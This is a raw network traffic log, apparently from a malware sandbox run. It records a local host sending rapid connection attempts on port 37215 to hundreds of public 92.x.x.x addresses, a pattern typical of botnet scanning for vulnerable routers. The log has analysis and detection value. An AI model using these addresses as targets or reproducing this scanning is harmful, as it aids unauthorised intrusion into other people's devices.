Feb 20, 2022 15:51:04.894488096 CET	1898	37215	192.168.2.23	92.192.87.204
Feb 20, 2022 15:51:04.894515038 CET	1898	37215	192.168.2.23	92.147.170.93
Feb 20, 2022 15:51:04.894519091 CET	1386	37215	192.168.2.23	92.237.246.172
Feb 20, 2022 15:51:04.894529104 CET	1386	37215	192.168.2.23	92.7.96.68
Feb 20, 2022 15:51:04.894546986 CET	1898	37215	192.168.2.23	92.76.60.99
Feb 20, 2022 15:51:04.894562960 CET	1386	37215	192.168.2.23	92.185.70.53
Feb 20, 2022 15:51:04.894583941 CET	1898	37215	192.168.2.23	92.137.55.220
Feb 20, 2022 15:51:04.894592047 CET	1386	37215	192.168.2.23	92.159.195.39
Feb 20, 2022 15:51:04.894598007 CET	1898	37215	192.168.2.23	92.152.99.143
Feb 20, 2022 15:51:04.894623041 CET	1386	37215	192.168.2.23	92.118.199.18
Feb 20, 2022 15:51:04.894629002 CET	1898	37215	192.168.2.23	92.118.85.106
Feb 20, 2022 15:51:04.894646883 CET	1898	37215	192.168.2.23	92.237.109.31
Feb 20, 2022 15:51:04.894670010 CET	1898	37215	192.168.2.23	92.158.83.174
Feb 20, 2022 15:51:04.894675970 CET	1386	37215	192.168.2.23	92.73.38.172
Feb 20, 2022 15:51:04.894695997 CET	1898	37215	192.168.2.23	92.96.33.156
Feb 20, 2022 15:51:04.894706011 CET	1898	37215	192.168.2.23	92.195.148.78
Feb 20, 2022 15:51:04.894735098 CET	1898	37215	192.168.2.23	92.246.21.190
Feb 20, 2022 15:51:04.894751072 CET	1386	37215	192.168.2.23	92.12.251.240
Feb 20, 2022 15:51:04.894767046 CET	1898	37215	192.168.2.23	92.2.111.56
Feb 20, 2022 15:51:04.894794941 CET	1386	37215	192.168.2.23	92.212.206.12
Feb 20, 2022 15:51:04.894799948 CET	1898	37215	192.168.2.23	92.80.94.57
Feb 20, 2022 15:51:04.894815922 CET	1386	37215	192.168.2.23	92.219.182.208
Feb 20, 2022 15:51:04.894828081 CET	1386	37215	192.168.2.23	92.11.245.4
Feb 20, 2022 15:51:04.894831896 CET	1898	37215	192.168.2.23	92.240.94.205
Feb 20, 2022 15:51:04.894834995 CET	1898	37215	192.168.2.23	92.237.46.97
Feb 20, 2022 15:51:04.894872904 CET	1898	37215	192.168.2.23	92.129.207.224
Feb 20, 2022 15:51:04.894875050 CET	1386	37215	192.168.2.23	92.87.26.28
Feb 20, 2022 15:51:04.894890070 CET	1898	37215	192.168.2.23	92.82.229.180
Feb 20, 2022 15:51:04.894906044 CET	1386	37215	192.168.2.23	92.210.9.187
Feb 20, 2022 15:51:04.894921064 CET	1898	37215	192.168.2.23	92.170.247.147
Feb 20, 2022 15:51:04.894936085 CET	1386	37215	192.168.2.23	92.117.50.123
Feb 20, 2022 15:51:04.894954920 CET	1898	37215	192.168.2.23	92.244.175.89
Feb 20, 2022 15:51:04.894983053 CET	1898	37215	192.168.2.23	92.33.136.190
Feb 20, 2022 15:51:04.894984007 CET	1386	37215	192.168.2.23	92.133.53.242
Feb 20, 2022 15:51:04.894985914 CET	1898	37215	192.168.2.23	92.78.201.47
Feb 20, 2022 15:51:04.895010948 CET	1898	37215	192.168.2.23	92.246.61.231
Feb 20, 2022 15:51:04.895042896 CET	1386	37215	192.168.2.23	92.232.175.78
Feb 20, 2022 15:51:04.895049095 CET	1898	37215	192.168.2.23	92.128.130.109
Feb 20, 2022 15:51:04.895066023 CET	1386	37215	192.168.2.23	92.104.77.246
Feb 20, 2022 15:51:04.895066023 CET	1898	37215	192.168.2.23	92.224.28.12
Feb 20, 2022 15:51:04.895086050 CET	1386	37215	192.168.2.23	92.111.29.163
Feb 20, 2022 15:51:04.895092010 CET	1898	37215	192.168.2.23	92.111.186.41
Feb 20, 2022 15:51:04.895116091 CET	1898	37215	192.168.2.23	92.123.135.10
Feb 20, 2022 15:51:04.895128965 CET	1386	37215	192.168.2.23	92.245.240.226
Feb 20, 2022 15:51:04.895172119 CET	1386	37215	192.168.2.23	92.54.130.23
Feb 20, 2022 15:51:04.895188093 CET	1386	37215	192.168.2.23	92.156.24.34
Feb 20, 2022 15:51:04.895195007 CET	1898	37215	192.168.2.23	92.61.121.217
Feb 20, 2022 15:51:04.895195961 CET	1898	37215	192.168.2.23	92.253.60.232
Feb 20, 2022 15:51:04.895224094 CET	1898	37215	192.168.2.23	92.191.25.147
Feb 20, 2022 15:51:04.895247936 CET	1898	37215	192.168.2.23	92.0.109.142
Feb 20, 2022 15:51:04.895247936 CET	1898	37215	192.168.2.23	92.138.132.13
Feb 20, 2022 15:51:04.895251989 CET	1386	37215	192.168.2.23	92.113.153.27
Feb 20, 2022 15:51:04.895260096 CET	1386	37215	192.168.2.23	92.75.132.156
Feb 20, 2022 15:51:04.895267010 CET	1898	37215	192.168.2.23	92.232.199.203
Feb 20, 2022 15:51:04.895284891 CET	1386	37215	192.168.2.23	92.93.106.53
Feb 20, 2022 15:51:04.895323992 CET	1898	37215	192.168.2.23	92.149.212.77
Feb 20, 2022 15:51:04.895328999 CET	1898	37215	192.168.2.23	92.123.167.249
Feb 20, 2022 15:51:04.895334005 CET	1386	37215	192.168.2.23	92.2.255.57
Feb 20, 2022 15:51:04.895354033 CET	1898	37215	192.168.2.23	92.36.78.170
Feb 20, 2022 15:51:04.895378113 CET	1898	37215	192.168.2.23	92.37.212.249
Feb 20, 2022 15:51:04.895396948 CET	1898	37215	192.168.2.23	92.200.200.247
Feb 20, 2022 15:51:04.895404100 CET	1386	37215	192.168.2.23	92.109.195.225
Feb 20, 2022 15:51:04.895426989 CET	1898	37215	192.168.2.23	92.6.135.182
Feb 20, 2022 15:51:04.895435095 CET	1386	37215	192.168.2.23	92.111.54.92
Feb 20, 2022 15:51:04.895453930 CET	1898	37215	192.168.2.23	92.253.62.251
Feb 20, 2022 15:51:04.895477057 CET	1386	37215	192.168.2.23	92.251.166.9
Feb 20, 2022 15:51:04.895498037 CET	1898	37215	192.168.2.23	92.158.3.183
Feb 20, 2022 15:51:04.895508051 CET	1898	37215	192.168.2.23	92.209.77.241
Feb 20, 2022 15:51:04.895534992 CET	1386	37215	192.168.2.23	92.198.11.164
Feb 20, 2022 15:51:04.895550966 CET	1898	37215	192.168.2.23	92.230.198.174
Feb 20, 2022 15:51:04.895555973 CET	1898	37215	192.168.2.23	92.208.227.121
Feb 20, 2022 15:51:04.895570993 CET	1898	37215	192.168.2.23	92.254.58.21
Feb 20, 2022 15:51:04.895591974 CET	1386	37215	192.168.2.23	92.48.46.254
Feb 20, 2022 15:51:04.895605087 CET	1898	37215	192.168.2.23	92.239.175.108
Feb 20, 2022 15:51:04.895617008 CET	1898	37215	192.168.2.23	92.247.42.148
Feb 20, 2022 15:51:04.895633936 CET	1386	37215	192.168.2.23	92.50.105.0
Feb 20, 2022 15:51:04.895678997 CET	1386	37215	192.168.2.23	92.137.188.21
Feb 20, 2022 15:51:04.895679951 CET	1898	37215	192.168.2.23	92.206.131.114
Feb 20, 2022 15:51:04.895683050 CET	1898	37215	192.168.2.23	92.210.57.242
Feb 20, 2022 15:51:04.895711899 CET	1898	37215	192.168.2.23	92.95.20.14
Feb 20, 2022 15:51:04.895730019 CET	1386	37215	192.168.2.23	92.46.92.255
Feb 20, 2022 15:51:04.895739079 CET	1898	37215	192.168.2.23	92.209.125.132
Feb 20, 2022 15:51:04.895770073 CET	1898	37215	192.168.2.23	92.22.187.11
Feb 20, 2022 15:51:04.895770073 CET	1386	37215	192.168.2.23	92.254.21.125
Feb 20, 2022 15:51:04.895797014 CET	1898	37215	192.168.2.23	92.241.23.240
Feb 20, 2022 15:51:04.895803928 CET	1386	37215	192.168.2.23	92.9.5.165
Feb 20, 2022 15:51:04.895823002 CET	1898	37215	192.168.2.23	92.50.3.79
Feb 20, 2022 15:51:04.895823956 CET	1898	37215	192.168.2.23	92.128.211.73
Feb 20, 2022 15:51:04.895845890 CET	1898	37215	192.168.2.23	92.36.243.197
Feb 20, 2022 15:51:04.895855904 CET	1386	37215	192.168.2.23	92.107.122.77
Feb 20, 2022 15:51:04.895898104 CET	1898	37215	192.168.2.23	92.60.237.40
Feb 20, 2022 15:51:04.895899057 CET	1898	37215	192.168.2.23	92.238.12.222
Feb 20, 2022 15:51:04.895914078 CET	1386	37215	192.168.2.23	92.165.108.192
Feb 20, 2022 15:51:04.895936012 CET	1898	37215	192.168.2.23	92.133.18.94
Feb 20, 2022 15:51:04.895939112 CET	1386	37215	192.168.2.23	92.117.49.163
Feb 20, 2022 15:51:04.895956039 CET	1898	37215	192.168.2.23	92.120.243.119
Feb 20, 2022 15:51:04.896002054 CET	1386	37215	192.168.2.23	92.81.211.13
Feb 20, 2022 15:51:04.896006107 CET	1898	37215	192.168.2.23	92.235.83.225
Feb 20, 2022 15:51:04.896018028 CET	1898	37215	192.168.2.23	92.77.0.226
Feb 20, 2022 15:51:04.896029949 CET	1898	37215	192.168.2.23	92.103.104.148
Feb 20, 2022 15:51:04.896034956 CET	1386	37215	192.168.2.23	92.38.101.88
Feb 20, 2022 15:51:04.896058083 CET	1898	37215	192.168.2.23	92.167.52.132
Feb 20, 2022 15:51:04.896076918 CET	1386	37215	192.168.2.23	92.186.75.193
Feb 20, 2022 15:51:04.896084070 CET	1898	37215	192.168.2.23	92.151.61.64
Feb 20, 2022 15:51:04.896112919 CET	1386	37215	192.168.2.23	92.190.78.64
Feb 20, 2022 15:51:04.896137953 CET	1898	37215	192.168.2.23	92.190.223.15
Feb 20, 2022 15:51:04.896145105 CET	1898	37215	192.168.2.23	92.64.117.111
Feb 20, 2022 15:51:04.896148920 CET	1898	37215	192.168.2.23	92.174.218.247
Feb 20, 2022 15:51:04.896161079 CET	1386	37215	192.168.2.23	92.87.241.147
Feb 20, 2022 15:51:04.896172047 CET	1898	37215	192.168.2.23	92.8.15.145
Feb 20, 2022 15:51:04.896212101 CET	1898	37215	192.168.2.23	92.95.141.213
Feb 20, 2022 15:51:04.896217108 CET	1386	37215	192.168.2.23	92.208.15.92
Feb 20, 2022 15:51:04.896233082 CET	1898	37215	192.168.2.23	92.241.96.245
Feb 20, 2022 15:51:04.896256924 CET	1386	37215	192.168.2.23	92.45.37.31
Feb 20, 2022 15:51:04.896256924 CET	1386	37215	192.168.2.23	92.199.239.252
Feb 20, 2022 15:51:04.896277905 CET	1898	37215	192.168.2.23	92.219.238.129
Feb 20, 2022 15:51:04.896281958 CET	1386	37215	192.168.2.23	92.59.91.150
Feb 20, 2022 15:51:04.896300077 CET	1898	37215	192.168.2.23	92.138.247.72
Feb 20, 2022 15:51:04.896327972 CET	1386	37215	192.168.2.23	92.18.63.147
Feb 20, 2022 15:51:04.896354914 CET	1898	37215	192.168.2.23	92.243.127.143
Feb 20, 2022 15:51:04.896367073 CET	1898	37215	192.168.2.23	92.236.242.169
Feb 20, 2022 15:51:04.896375895 CET	1386	37215	192.168.2.23	92.192.80.215
Feb 20, 2022 15:51:04.896378040 CET	1898	37215	192.168.2.23	92.163.93.90
Feb 20, 2022 15:51:04.896392107 CET	1386	37215	192.168.2.23	92.77.226.36
Feb 20, 2022 15:51:04.896400928 CET	1898	37215	192.168.2.23	92.11.18.33
Feb 20, 2022 15:51:04.896434069 CET	1898	37215	192.168.2.23	92.70.192.240
Feb 20, 2022 15:51:04.896445036 CET	1386	37215	192.168.2.23	92.46.93.28
Feb 20, 2022 15:51:04.896482944 CET	1898	37215	192.168.2.23	92.219.249.176
Feb 20, 2022 15:51:04.896500111 CET	1386	37215	192.168.2.23	92.82.112.70
Feb 20, 2022 15:51:04.896519899 CET	1386	37215	192.168.2.23	92.66.167.21
Feb 20, 2022 15:51:04.896519899 CET	1898	37215	192.168.2.23	92.147.144.234
Feb 20, 2022 15:51:04.896528006 CET	1898	37215	192.168.2.23	92.47.69.38
Feb 20, 2022 15:51:04.896544933 CET	1898	37215	192.168.2.23	92.151.89.128
Feb 20, 2022 15:51:04.896565914 CET	1898	37215	192.168.2.23	92.84.93.46
Feb 20, 2022 15:51:04.896567106 CET	1386	37215	192.168.2.23	92.238.65.244
Feb 20, 2022 15:51:04.896569967 CET	1898	37215	192.168.2.23	92.175.205.165
Feb 20, 2022 15:51:04.896620035 CET	1898	37215	192.168.2.23	92.103.237.237
Feb 20, 2022 15:51:04.896620989 CET	1386	37215	192.168.2.23	92.213.21.207
Feb 20, 2022 15:51:04.896632910 CET	1898	37215	192.168.2.23	92.250.251.107
Feb 20, 2022 15:51:04.896636963 CET	1898	37215	192.168.2.23	92.89.168.86
Feb 20, 2022 15:51:04.896651030 CET	1386	37215	192.168.2.23	92.54.178.12
Feb 20, 2022 15:51:04.896662951 CET	1898	37215	192.168.2.23	92.177.67.113
Feb 20, 2022 15:51:04.896680117 CET	1386	37215	192.168.2.23	92.144.136.240
Feb 20, 2022 15:51:04.896692991 CET	1898	37215	192.168.2.23	92.224.136.66
Feb 20, 2022 15:51:04.896703005 CET	1898	37215	192.168.2.23	92.227.23.27
Feb 20, 2022 15:51:04.896713972 CET	1386	37215	192.168.2.23	92.166.231.102
Feb 20, 2022 15:51:04.896740913 CET	1898	37215	192.168.2.23	92.44.74.156
Feb 20, 2022 15:51:04.896765947 CET	1898	37215	192.168.2.23	92.81.24.225
Feb 20, 2022 15:51:04.896785021 CET	1386	37215	192.168.2.23	92.8.207.128
Feb 20, 2022 15:51:04.896806002 CET	1898	37215	192.168.2.23	92.161.101.131
Feb 20, 2022 15:51:04.896821976 CET	1898	37215	192.168.2.23	92.113.23.118
Feb 20, 2022 15:51:04.896836042 CET	1386	37215	192.168.2.23	92.41.75.255
Feb 20, 2022 15:51:04.896841049 CET	1386	37215	192.168.2.23	92.21.174.216
Feb 20, 2022 15:51:04.896855116 CET	1386	37215	192.168.2.23	92.209.41.231
Feb 20, 2022 15:51:04.896878958 CET	1898	37215	192.168.2.23	92.23.58.153
Feb 20, 2022 15:51:04.896887064 CET	1386	37215	192.168.2.23	92.237.208.60
Feb 20, 2022 15:51:04.896891117 CET	1898	37215	192.168.2.23	92.58.107.8
Feb 20, 2022 15:51:04.896922112 CET	1898	37215	192.168.2.23	92.184.74.142
Feb 20, 2022 15:51:04.896925926 CET	1386	37215	192.168.2.23	92.37.68.97
Feb 20, 2022 15:51:04.896939993 CET	1898	37215	192.168.2.23	92.35.244.236
Feb 20, 2022 15:51:04.896965027 CET	1386	37215	192.168.2.23	92.73.37.235
Feb 20, 2022 15:51:04.896977901 CET	1898	37215	192.168.2.23	92.0.69.210
Feb 20, 2022 15:51:04.896996021 CET	1386	37215	192.168.2.23	92.134.9.52
Feb 20, 2022 15:51:04.897003889 CET	1898	37215	192.168.2.23	92.14.222.208
Feb 20, 2022 15:51:04.897038937 CET	1898	37215	192.168.2.23	92.19.65.164
Feb 20, 2022 15:51:04.897046089 CET	1898	37215	192.168.2.23	92.199.7.198
Feb 20, 2022 15:51:04.897051096 CET	1386	37215	192.168.2.23	92.89.84.173
Feb 20, 2022 15:51:04.897068024 CET	1898	37215	192.168.2.23	92.133.78.238
Feb 20, 2022 15:51:04.897082090 CET	1386	37215	192.168.2.23	92.58.39.185
Feb 20, 2022 15:51:04.897090912 CET	1898	37215	192.168.2.23	92.149.51.146
Feb 20, 2022 15:51:04.897115946 CET	1898	37215	192.168.2.23	92.146.86.129
Feb 20, 2022 15:51:04.897125006 CET	1386	37215	192.168.2.23	92.121.37.52
Feb 20, 2022 15:51:04.897138119 CET	1898	37215	192.168.2.23	92.236.250.119
Feb 20, 2022 15:51:04.897166967 CET	1898	37215	192.168.2.23	92.121.60.13
Feb 20, 2022 15:51:04.897175074 CET	1386	37215	192.168.2.23	92.196.255.209
Feb 20, 2022 15:51:04.897197008 CET	1898	37215	192.168.2.23	92.22.66.157
Feb 20, 2022 15:51:04.897226095 CET	1898	37215	192.168.2.23	92.84.2.28
Feb 20, 2022 15:51:04.897229910 CET	1386	37215	192.168.2.23	92.221.44.112
Feb 20, 2022 15:51:04.897233009 CET	1386	37215	192.168.2.23	92.75.47.208
Feb 20, 2022 15:51:04.897267103 CET	1898	37215	192.168.2.23	92.100.184.101
Feb 20, 2022 15:51:04.897265911 CET	1898	37215	192.168.2.23	92.172.1.81
Feb 20, 2022 15:51:04.897277117 CET	1386	37215	192.168.2.23	92.163.123.117
Feb 20, 2022 15:51:04.897300005 CET	1898	37215	192.168.2.23	92.210.201.16
Feb 20, 2022 15:51:04.897320986 CET	1386	37215	192.168.2.23	92.79.103.209
Feb 20, 2022 15:51:04.897321939 CET	1898	37215	192.168.2.23	92.211.85.95
Feb 20, 2022 15:51:04.897336006 CET	1386	37215	192.168.2.23	92.178.252.79
Feb 20, 2022 15:51:04.897346973 CET	1898	37215	192.168.2.23	92.144.59.251
Feb 20, 2022 15:51:04.897351980 CET	1386	37215	192.168.2.23	92.37.251.25
Feb 20, 2022 15:51:04.897389889 CET	1386	37215	192.168.2.23	92.195.100.223
Feb 20, 2022 15:51:04.897391081 CET	1898	37215	192.168.2.23	92.45.14.140
Feb 20, 2022 15:51:04.897427082 CET	1898	37215	192.168.2.23	92.242.144.242
Feb 20, 2022 15:51:04.897429943 CET	1898	37215	192.168.2.23	92.220.246.222
Feb 20, 2022 15:51:04.897442102 CET	1386	37215	192.168.2.23	92.75.105.181
Feb 20, 2022 15:51:04.897450924 CET	1898	37215	192.168.2.23	92.65.101.63
Feb 20, 2022 15:51:04.897470951 CET	1386	37215	192.168.2.23	92.209.115.25
Feb 20, 2022 15:51:04.897490025 CET	1898	37215	192.168.2.23	92.204.99.50
Feb 20, 2022 15:51:04.897515059 CET	1386	37215	192.168.2.23	92.163.251.95
Feb 20, 2022 15:51:04.897524118 CET	1898	37215	192.168.2.23	92.8.145.230
Feb 20, 2022 15:51:04.897553921 CET	1386	37215	192.168.2.23	92.77.244.191
Feb 20, 2022 15:51:04.897563934 CET	1898	37215	192.168.2.23	92.69.61.104
Feb 20, 2022 15:51:04.897574902 CET	1898	37215	192.168.2.23	92.112.0.165
Feb 20, 2022 15:51:04.897598982 CET	1386	37215	192.168.2.23	92.210.132.23
Feb 20, 2022 15:51:04.897617102 CET	1898	37215	192.168.2.23	92.110.43.67
Feb 20, 2022 15:51:04.897627115 CET	1386	37215	192.168.2.23	92.212.176.71
Feb 20, 2022 15:51:04.897634029 CET	1898	37215	192.168.2.23	92.244.199.203
Feb 20, 2022 15:51:04.897650003 CET	1898	37215	192.168.2.23	92.45.207.92
Feb 20, 2022 15:51:04.897674084 CET	1386	37215	192.168.2.23	92.189.201.234
Feb 20, 2022 15:51:04.897675991 CET	1898	37215	192.168.2.23	92.9.222.220
Feb 20, 2022 15:51:04.897681952 CET	1898	37215	192.168.2.23	92.238.82.128
Feb 20, 2022 15:51:04.897712946 CET	1386	37215	192.168.2.23	92.72.75.197
Feb 20, 2022 15:51:04.897732973 CET	1898	37215	192.168.2.23	92.63.191.188
Feb 20, 2022 15:51:04.897753000 CET	1898	37215	192.168.2.23	92.107.82.117
Feb 20, 2022 15:51:04.897777081 CET	1898	37215	192.168.2.23	92.181.44.236
Feb 20, 2022 15:51:04.897799015 CET	1898	37215	192.168.2.23	92.136.9.180
Feb 20, 2022 15:51:04.897802114 CET	1898	37215	192.168.2.23	92.100.184.130
Feb 20, 2022 15:51:04.897804976 CET	37215	1898	92.42.46.228	192.168.2.23
Feb 20, 2022 15:51:04.897816896 CET	1386	37215	192.168.2.23	92.27.92.243
Feb 20, 2022 15:51:04.897820950 CET	1898	37215	192.168.2.23	92.40.80.52
Feb 20, 2022 15:51:04.897826910 CET	1386	37215	192.168.2.23	92.36.32.150
Feb 20, 2022 15:51:04.897840023 CET	1898	37215	192.168.2.23	92.106.224.154
Feb 20, 2022 15:51:04.897883892 CET	1898	37215	192.168.2.23	92.154.253.107
Feb 20, 2022 15:51:04.897896051 CET	1386	37215	192.168.2.23	92.140.196.44
Feb 20, 2022 15:51:04.897911072 CET	1386	37215	192.168.2.23	92.190.254.3
Feb 20, 2022 15:51:04.897913933 CET	1898	37215	192.168.2.23	92.128.212.24
Feb 20, 2022 15:51:04.897945881 CET	1386	37215	192.168.2.23	92.224.1.166
Feb 20, 2022 15:51:04.897949934 CET	1898	37215	192.168.2.23	92.25.50.159
Feb 20, 2022 15:51:04.897967100 CET	1898	37215	192.168.2.23	92.9.158.76
Feb 20, 2022 15:51:04.897979975 CET	1386	37215	192.168.2.23	92.153.13.182
Feb 20, 2022 15:51:04.898019075 CET	1898	37215	192.168.2.23	92.220.194.162
Feb 20, 2022 15:51:04.898051023 CET	1898	37215	192.168.2.23	92.112.192.126
Feb 20, 2022 15:51:04.898061991 CET	1386	37215	192.168.2.23	92.186.108.252
Feb 20, 2022 15:51:04.898066998 CET	1386	37215	192.168.2.23	92.21.162.248
Feb 20, 2022 15:51:04.898102045 CET	1386	37215	192.168.2.23	92.144.52.45
Feb 20, 2022 15:51:04.898119926 CET	1898	37215	192.168.2.23	92.78.90.35
Feb 20, 2022 15:51:04.898144007 CET	1386	37215	192.168.2.23	92.136.9.63
Feb 20, 2022 15:51:04.898152113 CET	1898	37215	192.168.2.23	92.66.112.61
Feb 20, 2022 15:51:04.898185015 CET	1898	37215	192.168.2.23	92.31.160.253
Feb 20, 2022 15:51:04.898189068 CET	1898	37215	192.168.2.23	92.103.132.187
Feb 20, 2022 15:51:04.898204088 CET	1898	37215	192.168.2.23	92.95.206.115
Feb 20, 2022 15:51:04.898209095 CET	1386	37215	192.168.2.23	92.61.110.220
Feb 20, 2022 15:51:04.898231030 CET	1898	37215	192.168.2.23	92.167.151.65
Feb 20, 2022 15:51:04.898237944 CET	1386	37215	192.168.2.23	92.106.233.126
Feb 20, 2022 15:51:04.898266077 CET	1386	37215	192.168.2.23	92.195.133.28
Feb 20, 2022 15:51:04.898284912 CET	1898	37215	192.168.2.23	92.245.200.191
Feb 20, 2022 15:51:04.898299932 CET	1386	37215	192.168.2.23	92.152.27.155
Feb 20, 2022 15:51:04.898310900 CET	1898	37215	192.168.2.23	92.207.143.52
Feb 20, 2022 15:51:04.898339033 CET	1386	37215	192.168.2.23	92.59.232.126
Feb 20, 2022 15:51:04.898374081 CET	1898	37215	192.168.2.23	92.53.254.76
Feb 20, 2022 15:51:04.898385048 CET	1898	37215	192.168.2.23	92.139.181.184
Feb 20, 2022 15:51:04.898385048 CET	1898	37215	192.168.2.23	92.147.208.1
Feb 20, 2022 15:51:04.898397923 CET	1386	37215	192.168.2.23	92.148.194.63
Feb 20, 2022 15:51:04.898402929 CET	1898	37215	192.168.2.23	92.124.138.171
Feb 20, 2022 15:51:04.898421049 CET	1386	37215	192.168.2.23	92.153.31.110
Feb 20, 2022 15:51:04.898436069 CET	1898	37215	192.168.2.23	92.207.98.218
Feb 20, 2022 15:51:04.898436069 CET	1898	37215	192.168.2.23	92.190.224.3
Feb 20, 2022 15:51:04.898454905 CET	1386	37215	192.168.2.23	92.134.194.233
Feb 20, 2022 15:51:04.898468018 CET	1898	37215	192.168.2.23	92.46.39.1
Feb 20, 2022 15:51:04.898485899 CET	1386	37215	192.168.2.23	92.92.66.160
Feb 20, 2022 15:51:04.898488045 CET	1898	37215	192.168.2.23	92.55.204.101
Feb 20, 2022 15:51:04.898510933 CET	1898	37215	192.168.2.23	92.51.27.201
Feb 20, 2022 15:51:04.898529053 CET	1898	37215	192.168.2.23	92.108.112.146
Feb 20, 2022 15:51:04.898566008 CET	1898	37215	192.168.2.23	92.120.100.255
Feb 20, 2022 15:51:04.898581028 CET	1386	37215	192.168.2.23	92.38.98.110
Feb 20, 2022 15:51:04.898600101 CET	1386	37215	192.168.2.23	92.150.153.228
Feb 20, 2022 15:51:04.898606062 CET	1898	37215	192.168.2.23	92.65.237.251
Feb 20, 2022 15:51:04.898622990 CET	1898	37215	192.168.2.23	92.233.210.244
Feb 20, 2022 15:51:04.898632050 CET	1898	37215	192.168.2.23	92.83.29.86
Feb 20, 2022 15:51:04.898648024 CET	1386	37215	192.168.2.23	92.70.214.248
Feb 20, 2022 15:51:04.898650885 CET	1898	37215	192.168.2.23	92.243.116.209
Feb 20, 2022 15:51:04.898658991 CET	1898	37215	192.168.2.23	92.176.197.142
Feb 20, 2022 15:51:04.898670912 CET	1386	37215	192.168.2.23	92.54.221.255
Feb 20, 2022 15:51:04.898679018 CET	1386	37215	192.168.2.23	92.234.21.227
Feb 20, 2022 15:51:04.898705006 CET	1898	37215	192.168.2.23	92.44.39.156
Feb 20, 2022 15:51:04.898710966 CET	1898	37215	192.168.2.23	92.191.4.51
Feb 20, 2022 15:51:04.898734093 CET	1898	37215	192.168.2.23	92.53.237.178
Feb 20, 2022 15:51:04.898739100 CET	1386	37215	192.168.2.23	92.91.13.238
Feb 20, 2022 15:51:04.898755074 CET	1898	37215	192.168.2.23	92.64.34.31
Feb 20, 2022 15:51:04.898762941 CET	1386	37215	192.168.2.23	92.109.101.193
Feb 20, 2022 15:51:04.898781061 CET	1898	37215	192.168.2.23	92.226.248.171
Feb 20, 2022 15:51:04.898802996 CET	1898	37215	192.168.2.23	92.104.130.224
Feb 20, 2022 15:51:04.898807049 CET	1386	37215	192.168.2.23	92.177.243.6
Feb 20, 2022 15:51:04.898839951 CET	1898	37215	192.168.2.23	92.159.5.238
Feb 20, 2022 15:51:04.898858070 CET	1898	37215	192.168.2.23	92.169.227.185
Feb 20, 2022 15:51:04.898861885 CET	1386	37215	192.168.2.23	92.253.73.43
Feb 20, 2022 15:51:04.898880005 CET	1898	37215	192.168.2.23	92.111.126.249
Feb 20, 2022 15:51:04.898891926 CET	1386	37215	192.168.2.23	92.169.96.34
Feb 20, 2022 15:51:04.898906946 CET	1898	37215	192.168.2.23	92.109.168.133
Feb 20, 2022 15:51:04.898930073 CET	1898	37215	192.168.2.23	92.182.1.172
Feb 20, 2022 15:51:04.898943901 CET	1386	37215	192.168.2.23	92.57.84.232
Feb 20, 2022 15:51:04.898952961 CET	1898	37215	192.168.2.23	92.100.38.116
Feb 20, 2022 15:51:04.898979902 CET	1898	37215	192.168.2.23	92.134.174.10
Feb 20, 2022 15:51:04.898984909 CET	1386	37215	192.168.2.23	92.206.69.76
Feb 20, 2022 15:51:04.898997068 CET	1898	37215	192.168.2.23	92.155.130.222
Feb 20, 2022 15:51:04.899019957 CET	1898	37215	192.168.2.23	92.8.165.251
Feb 20, 2022 15:51:04.899044037 CET	1898	37215	192.168.2.23	92.121.162.140
Feb 20, 2022 15:51:04.899044991 CET	1386	37215	192.168.2.23	92.121.165.46
Feb 20, 2022 15:51:04.899060965 CET	1386	37215	192.168.2.23	92.182.23.88
Feb 20, 2022 15:51:04.899075985 CET	1898	37215	192.168.2.23	92.181.125.242
Feb 20, 2022 15:51:04.899111032 CET	1898	37215	192.168.2.23	92.103.43.141
Feb 20, 2022 15:51:04.899111986 CET	1386	37215	192.168.2.23	92.55.104.171
Feb 20, 2022 15:51:04.899142981 CET	1898	37215	192.168.2.23	92.237.176.242
Feb 20, 2022 15:51:04.899154902 CET	1386	37215	192.168.2.23	92.65.134.120
Feb 20, 2022 15:51:04.899168015 CET	1898	37215	192.168.2.23	92.142.251.199
Feb 20, 2022 15:51:04.899180889 CET	1386	37215	192.168.2.23	92.244.102.49
Feb 20, 2022 15:51:04.899188042 CET	1898	37215	192.168.2.23	92.62.85.179
Feb 20, 2022 15:51:04.899214029 CET	1898	37215	192.168.2.23	92.29.95.112
Feb 20, 2022 15:51:04.899218082 CET	1386	37215	192.168.2.23	92.219.193.220
Feb 20, 2022 15:51:04.899247885 CET	1898	37215	192.168.2.23	92.79.199.71
Feb 20, 2022 15:51:04.899265051 CET	1386	37215	192.168.2.23	92.46.164.215
Feb 20, 2022 15:51:04.899277925 CET	1898	37215	192.168.2.23	92.7.75.241
Feb 20, 2022 15:51:04.899313927 CET	1386	37215	192.168.2.23	92.207.96.176
Feb 20, 2022 15:51:04.899318933 CET	1386	37215	192.168.2.23	92.172.33.164
Feb 20, 2022 15:51:04.899317980 CET	1898	37215	192.168.2.23	92.48.150.16
Feb 20, 2022 15:51:04.899362087 CET	1898	37215	192.168.2.23	92.37.245.64
Feb 20, 2022 15:51:04.899379015 CET	1898	37215	192.168.2.23	92.203.114.37
Feb 20, 2022 15:51:04.899403095 CET	1386	37215	192.168.2.23	92.156.82.215
Feb 20, 2022 15:51:04.899405003 CET	1386	37215	192.168.2.23	92.133.18.7
Feb 20, 2022 15:51:04.899418116 CET	1898	37215	192.168.2.23	92.42.155.70
Feb 20, 2022 15:51:04.899442911 CET	1898	37215	192.168.2.23	92.111.1.122
Feb 20, 2022 15:51:04.899456024 CET	1386	37215	192.168.2.23	92.13.179.44
Feb 20, 2022 15:51:04.899471045 CET	1898	37215	192.168.2.23	92.100.213.18
Feb 20, 2022 15:51:04.899491072 CET	1898	37215	192.168.2.23	92.9.55.100
Feb 20, 2022 15:51:04.899493933 CET	1386	37215	192.168.2.23	92.192.102.219
Feb 20, 2022 15:51:04.899508953 CET	1898	37215	192.168.2.23	92.242.223.71
Feb 20, 2022 15:51:04.899537086 CET	1386	37215	192.168.2.23	92.144.18.42
Feb 20, 2022 15:51:04.899554968 CET	1898	37215	192.168.2.23	92.44.36.153
Feb 20, 2022 15:51:04.899569988 CET	1898	37215	192.168.2.23	92.32.64.67
Feb 20, 2022 15:51:04.899574995 CET	1386	37215	192.168.2.23	92.229.197.193
Feb 20, 2022 15:51:04.899586916 CET	1898	37215	192.168.2.23	92.89.47.122
Feb 20, 2022 15:51:04.899595022 CET	1898	37215	192.168.2.23	92.146.19.99
Feb 20, 2022 15:51:04.899614096 CET	1386	37215	192.168.2.23	92.100.14.16
Feb 20, 2022 15:51:04.899631023 CET	1898	37215	192.168.2.23	92.202.57.20
Feb 20, 2022 15:51:04.899646997 CET	1898	37215	192.168.2.23	92.72.68.68
